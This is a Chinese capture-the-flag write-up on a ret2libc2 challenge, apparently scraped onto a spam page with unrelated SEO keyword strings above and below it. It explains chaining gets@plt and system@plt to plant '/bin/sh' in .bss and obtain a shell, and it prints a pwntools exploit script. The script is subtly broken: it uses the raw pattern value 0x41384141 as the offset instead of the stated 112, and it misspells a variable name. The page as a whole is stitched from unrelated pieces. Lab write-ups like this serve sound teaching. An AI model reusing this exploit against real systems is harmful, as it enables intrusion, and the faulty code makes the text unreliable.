当前位置: 首页 > news >正文

品牌网站建设蔻大蝌蚪三只松鼠营销策划书

品牌网站建设蔻大蝌蚪,三只松鼠营销策划书,青海网站建设多少钱,个人淘宝客网站备案ret2libc1的略微进阶——存在systemplt但是不存在“/bin/sh”怎么办? 目录 前言 python3 ELF 查看文件信息 strings 查看寻找"/bin/sh" IDA反汇编分析 思路及实现 老规矩,偏移量 offset EXP编写 总结 前言 经过ret2libc1的洗礼&a…

ret2libc1的略微进阶——存在system@plt但是不存在“/bin/sh”怎么办?


目录

前言

python3 ELF 查看文件信息

strings 查看寻找"/bin/sh"

IDA反汇编分析 

思路及实现 

老规矩,偏移量 offset

EXP编写  

总结


前言

经过ret2libc1的洗礼,我们对ret2libc的做题模范有了基本的范式,然而实际的题目远没有如此直白和简单。本题就遇到了一个问题:"/bin/sh"字符串在程序中并不存在,怎么办?

其实很简单:没有我们就自己输入。


因为具体的原理在ret2libc1中已经很详细地讲述了,所以本篇博客主要复现解题过程。

python3 ELF 查看文件信息

好的,重要的信息都有了 


strings 查看寻找"/bin/sh"

说明没有这个字符串,恼 

那我们能不能输入一串字符串"/bin/sh",然后把参数地址放到这里呢?


IDA反汇编分析 

bss段发现buf2,可供我们存字符串。可是也没有输入的函数呀?没关系——shellcode里面加就可以。

别忘了,plt表里面有gets@plt!我们既然可以用一种方法,通过system@plt执行system函数,为什么不可以用gets@plt执行gets函数呢?当然可以!! 


思路及实现 

根据基本ret2libc的思想,我们把溢出栈内容如下构造:

这是需要跳转执行两个函数的情况,基于跳转执行一个函数的情况而来,具体可以看上一篇博客ret2libc1 

简单来说,padding后,函数通过返回地址跳到gets@plt然后经过一系列代码,执行gets函数,gets函数的参数从栈gets_addr的后两个单位找到。这个原理很基础,不赘述。具体看上一篇博客。然后同理跳到system@plt执行system,参数向上找第二个(跨过两个单位,其中一个是callee 的push ebp), 也是buf2_addr。

这样就实现了:没有"/bin/sh",输入就有了;照旧system,参数填"/bin/sh"地址;返回shell


老规矩,偏移量 offset

gdb:peda下,pattern create 300 

然后pattern offset addr 

 

 偏移量112


EXP编写  

from pwn import *io=process("./ret2libc2")offset=0x41384141
system_plt_Addr=0x8048490
gets_plt_addr=0x8048460
buf2_addr=0x804a080payload=b'a'*offset+p32(gets_plt_addr)+p32(system_plt_addr)+p32(buf2_addr)+p32(buf2_addr)io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

成功获得自己的shell 


总结

从最基本理解原理的ret2libc1,到有点花头的ret2libc2,值得展望的是,比赛的题目,远远难于此。但千里之行始于足下,掌握好这些基础的,掌握好这些原理,才能慢慢深入进阶。

http://www.dt0577.cn/news/52928.html

相关文章:

  • 知识付费问答系统网站开发最新推广方法
  • aspnet通讯录网站开发在线咨询 1 网站宣传
  • 网站建设文化怎么样深圳高端网站制作公司
  • 做房产必知的发布房源网站移动端seo关键词优化
  • 把网站做进微信公众号百度账号申请注册
  • 网络策划公司白帽seo是什么
  • 广州专业网站制作设计公众号运营
  • 1688登陆首页登录关键字排名优化公司
  • 哪里可以接网站开发项目做安康seo
  • 网站优化需要工具网站建设方案书范文
  • 内蒙古建设工程交易服务中心网站网站优化方案
  • 国外创意网站设计seo岗位职责
  • 厦门海沧网站建设山东网络优化公司排名
  • 鹤岗网站建设如何在百度发广告
  • 集团公司网站设计淘宝推广公司
  • 设计资料网站东莞seo广告宣传
  • 做图片推广的网站有哪些seo排名优化推荐
  • 南京网站设计机构网站推广怎样做
  • 博客网站设计及说明b2b b2c c2c o2o区别
  • 普达建站快车品牌活动策划
  • 图书馆 网站建设外贸接单平台网站
  • 免费 个人 网站最近热搜新闻事件
  • 门户网站建设和管理情况现在推广平台哪家最好
  • wordpress数据库软件seo云优化
  • 网站建设 骏域网络建设专家广州新网站seo
  • 网站建立湖南网站seo地址
  • c++怎么做网站上海企业网站推广
  • php做购物网站详情页的代码关键字是什么意思
  • 广州嘉怡服饰有限公司网站建设公司怎么做网站推广
  • 网站建设的关键点广告推广软件